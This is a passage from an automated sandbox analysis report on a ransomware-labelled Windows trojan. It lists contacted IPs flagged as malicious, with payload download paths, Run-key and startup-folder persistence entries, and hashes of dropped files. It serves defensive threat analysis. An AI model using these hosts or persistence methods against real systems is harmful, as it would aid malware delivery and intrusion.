                                              		high
                                              https://stackoverflow.com/q/11564914/23354;SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003229740.0000000006620000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003199000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                https://stackoverflow.com/q/2152978/23354SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003229740.0000000006620000.00000004.08000000.00040000.00000000.sdmpfalse
                                                  		high
                                                  http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000005.00000002.2041601100.0000000004856000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2083832437.0000000004F96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2157706414.0000000004F66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2217132744.0000000004CB6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://contoso.com/powershell.exe, 0000000E.00000002.2246643853.0000000005BC2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    • URL Reputation: safe
                                                    		unknown
                                                    https://nuget.org/nuget.exepowershell.exe, 00000005.00000002.2052979000.0000000005766000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2099869250.0000000005EA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2176960211.0000000005E75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2246643853.0000000005BC2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://crl.micronqpowershell.exe, 0000000B.00000002.2155638841.0000000003323000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		unknown
                                                        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameSecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.00000000030F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000004.00000002.2896982875.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2041601100.0000000004701000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2083832437.0000000004E41000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000002ED1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2157706414.0000000004E11000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.0000000003371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2217132744.0000000004B61000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high

                                                          World Map of Contacted IPs

                                                          • No. of IPs < 25%
                                                          • 25% < No. of IPs < 50%
                                                          • 50% < No. of IPs < 75%
                                                          • 75% < No. of IPs

                                                          Public IPs

                                                          IPDomainCountryFlagASNASN NameMalicious
                                                          91.92.248.52
                                                          		unknownBulgaria
                                                          		34368THEZONEBGtrue
                                                          5.34.182.232
                                                          		unknownUkraine
                                                          		15626ITLASUAfalse

                                                          General Information

                                                          Joe Sandbox version:40.0.0 Tourmaline
                                                          Analysis ID:1429251
                                                          Start date and time:2024-04-21 15:21:04 +02:00
                                                          Joe Sandbox product:CloudBasic
                                                          Overall analysis duration:0h 9m 55s
                                                          Hypervisor based Inspection enabled:false
                                                          Report type:full
                                                          Cookbook file name:default.jbs
                                                          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                          Number of analysed new started processes analysed:19
                                                          Number of new started drivers analysed:0
                                                          Number of existing processes analysed:0
                                                          Number of existing drivers analysed:0
                                                          Number of injected processes analysed:0
                                                          Technologies:
                                                          • HCA enabled
                                                          • EGA enabled
                                                          • AMSI enabled
                                                          Analysis Mode:default
                                                          Analysis stop reason:Timeout
                                                          Sample name:SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                                                          Detection:MAL
                                                          Classification:mal100.troj.evad.winEXE@21/24@0/2
                                                          EGA Information:
                                                          • Successful, ratio: 70%
                                                          HCA Information:
                                                          • Successful, ratio: 96%
                                                          • Number of executed functions: 525
                                                          • Number of non-executed functions: 73
                                                          Cookbook Comments:
                                                          • Found application associated with file extension: .exe

                                                          Warnings

                                                          • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
                                                          • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                          • Execution Graph export aborted for target daqfbrlrs.exe, PID 3408 because it is empty
                                                          • Execution Graph export aborted for target daqfbrlrs.exe, PID 420 because it is empty
                                                          • Execution Graph export aborted for target powershell.exe, PID 5688 because it is empty
                                                          • HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                          • Not all processes where analyzed, report is missing behavior information
                                                          • Report size exceeded maximum capacity and may have missing behavior information.
                                                          • Report size getting too big, too many NtCreateKey calls found.
                                                          • Report size getting too big, too many NtOpenKeyEx calls found.
                                                          • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                          • Report size getting too big, too many NtQueryValueKey calls found.
                                                          • Report size getting too big, too many NtReadVirtualMemory calls found.

                                                          Simulations

                                                          Behavior and APIs

                                                          TimeTypeDescription
                                                          14:22:27AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run daqfbrlrs C:\Users\user\AppData\Roaming\daqfbrlrs.exe
                                                          14:22:36AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run daqfbrlrs C:\Users\user\AppData\Roaming\daqfbrlrs.exe
                                                          14:23:00AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk
                                                          15:22:27API Interceptor61x Sleep call for process: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe modified
                                                          15:22:31API Interceptor40x Sleep call for process: powershell.exe modified

                                                          Joe Sandbox View / Context

                                                          IPs

                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                          5.34.182.232Receipt_7814002.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                          • 5.34.182.232/sm/Tsgempx.pdf
                                                          IMG_210112052.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                          • 5.34.182.232/sm/Tqybse.vdf
                                                          Receipt_032114005.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                          • 5.34.182.232/sm/Bkzmij.dat

                                                          Domains

                                                          ⊘No context

                                                          ASNs

                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                          ITLASUAReceipt_7814002.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                          • 5.34.182.232
                                                          IMG_210112052.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                          • 5.34.182.232
                                                          Receipt_032114005.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                          • 5.34.182.232
                                                          Remittance0098876.exeGet hashmaliciousAgentTeslaBrowse
                                                          • 195.54.163.133
                                                          PO24-0626.exeGet hashmaliciousAgentTeslaBrowse
                                                          • 195.54.163.133
                                                          fhSHwOyb33.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                          • 217.12.214.61
                                                          Payment Slip05042024.exeGet hashmaliciousAgentTeslaBrowse
                                                          • 91.235.128.141
                                                          iiafzj49BP.exeGet hashmaliciousAgentTeslaBrowse
                                                          • 91.235.128.141
                                                          DHL Shipping notification-PDF.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                          • 91.235.128.141
                                                          INOVICE NO CY-W-24-17-26.exeGet hashmaliciousAgentTeslaBrowse
                                                          • 195.54.163.133
                                                          THEZONEBGpayment_invoice.exeGet hashmaliciousPureLog Stealer, zgRATBrowse
                                                          • 91.92.255.61
                                                          SecuriteInfo.com.Trojan.DownLoaderNET.960.20799.14959.exeGet hashmaliciousPureLog Stealer, Xmrig, zgRATBrowse
                                                          • 91.92.254.152
                                                          SecuriteInfo.com.Trojan.DownLoader46.57007.12424.22631.exeGet hashmaliciousPureLog Stealer, Xmrig, zgRATBrowse
                                                          • 91.92.254.152
                                                          SecuriteInfo.com.Trojan.DownLoaderNET.960.127.1983.exeGet hashmaliciousPureLog Stealer, Xmrig, zgRATBrowse
                                                          • 91.92.254.152
                                                          SecuriteInfo.com.Trojan.DownLoader46.57266.15231.8507.exeGet hashmaliciousPureLog Stealer, zgRATBrowse
                                                          • 91.92.246.15
                                                          SecuriteInfo.com.Trojan.DownLoader46.57266.31234.98.exeGet hashmaliciousPureLog StealerBrowse
                                                          • 91.92.246.79
                                                          lqoUUYTMsL.exeGet hashmaliciousLokibotBrowse
                                                          • 91.92.253.228
                                                          HW#210872-218YAT-THEON-GLOBAL-Y801823-1AHEY361-APL38102823-19011.exeGet hashmaliciousGuLoader, PureLog Stealer, zgRATBrowse
                                                          • 91.92.248.36
                                                          cybXkFC5nF.exeGet hashmaliciousPureLog Stealer, Xmrig, zgRATBrowse
                                                          • 91.92.255.15
                                                          6Qz6WEKB27.elfGet hashmaliciousMiraiBrowse
                                                          • 91.92.243.252

                                                          JA3 Fingerprints

                                                          ⊘No context

                                                          Dropped Files

                                                          ⊘No context

                                                          Created / dropped Files

                                                          C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.log

                                                          Download File
                                                          Process:C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                                                          File Type:ASCII text, with CRLF line terminators
                                                          Category:dropped
                                                          Size (bytes):1031
                                                          Entropy (8bit):5.352154694194798
                                                          Encrypted:false
                                                          SSDEEP:24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeRE4Kx1qE4j:MxHKlYHKh3oPtHo6hAHKzeRHKx1qHj
                                                          MD5:D5F0E53F52AB8FA3BEB3D61F6DD7E35C
                                                          SHA1:1FCEEB1CA14EAABC17D427180A436779E5834096
                                                          SHA-256:6D8230D75A1F0383C58AF007EAFE73519258929DB9D89F1B73E8B461D50DE639
                                                          SHA-512:8F7B192D1ECDA2D142E6DD758426A637D96F5EE1687DDE2E2256EDAB62139754A830A96697601765622413A1F9F85A47C07537C524CF4D206025006C6474BEA9
                                                          Malicious:false
                                                          Reputation:moderate, very likely benign file
                                                          Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, Publi

                                                          C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\daqfbrlrs.exe.log

                                                          Download File
                                                          Process:C:\Users\user\AppData\Roaming\daqfbrlrs.exe
                                                          File Type:ASCII text, with CRLF line terminators
                                                          Category:dropped
                                                          Size (bytes):1031
                                                          Entropy (8bit):5.352154694194798
                                                          Encrypted:false
                                                          SSDEEP:24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeRE4Kx1qE4j:MxHKlYHKh3oPtHo6hAHKzeRHKx1qHj
                                                          MD5:D5F0E53F52AB8FA3BEB3D61F6DD7E35C
                                                          SHA1:1FCEEB1CA14EAABC17D427180A436779E5834096
                                                          SHA-256:6D8230D75A1F0383C58AF007EAFE73519258929DB9D89F1B73E8B461D50DE639
                                                          SHA-512:8F7B192D1ECDA2D142E6DD758426A637D96F5EE1687DDE2E2256EDAB62139754A830A96697601765622413A1F9F85A47C07537C524CF4D206025006C6474BEA9
                                                          Malicious:false
                                                          Reputation:moderate, very likely benign file
                                                          Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, Publi

                                                          C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:data
                                                          Category:modified
                                                          Size (bytes):2232
                                                          Entropy (8bit):5.378656660173192
                                                          Encrypted:false
                                                          SSDEEP:48:YWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMugei/ZvUyus:YLHyIFKL3IZ2KRH9Oug8s
                                                          MD5:956966439A90E0DCE169A14C11630A92
                                                          SHA1:175FCABF20CC3E7F9899200288B019A637DBBE42
                                                          SHA-256:B6F351E20CB1BFDA20DFE355D0E21464EDBAD6D3A35385502E0A0A73D845FAE2
                                                          SHA-512:BB0C90A78128AACC3E56ACE4CCC3D53A04AC32F6793A62639B758DD83687E27DD79FFC90CF3C0D3916B61EBEABA4BC5137768E87087461DE1C3332B65B8431CC
                                                          Malicious:false
                                                          Preview:@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

                                                          C:\Users\user\AppData\Local\Temp\Log.tmp

                                                          Download File
                                                          Process:C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                                                          File Type:ASCII text, with CRLF line terminators
                                                          Category:dropped
                                                          Size (bytes):29
                                                          Entropy (8bit):3.598349098128234
                                                          Encrypted:false
                                                          SSDEEP:3:rRSFYJKXzovNsra:EFYJKDoWra
                                                          MD5:2C11513C4FAB02AEDEE23EC05A2EB3CC
                                                          SHA1:59177C177B2546FBD8EC7688BAD19D08D32640DE
                                                          SHA-256:BCF3676333E528171EEE1055302F3863A0C89D9FFE7017EA31CF264E13C8A699
                                                          SHA-512:08196AFA62650F1808704DCAD9918DA11175CD8792878F63E35F517B4D6CF407AC9E281D9B71A76E4CC1486CAD7079C56B74ECBEDB0A0F0DD4170FB0D30D2BAD
                                                          Malicious:false
                                                          Preview:....### explorer ###..[WIN]r

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0cb5rply.1ww.psm1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0wlv3toi.kpe.psm1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2d3gj3of.5as.psm1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5kbu4qdz.a3e.ps1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5sw5h1ng.spj.ps1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cghyq10q.2nt.ps1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dawxwi3q.gqo.psm1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hijtj5lh.y22.ps1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j34w5dz1.jir.psm1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_podiwm1z.zhp.ps1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pwuawfro.lj0.ps1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u0fbit1t.5cu.ps1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u0x15smu.bgw.ps1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_us53d3h5.pz0.psm1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
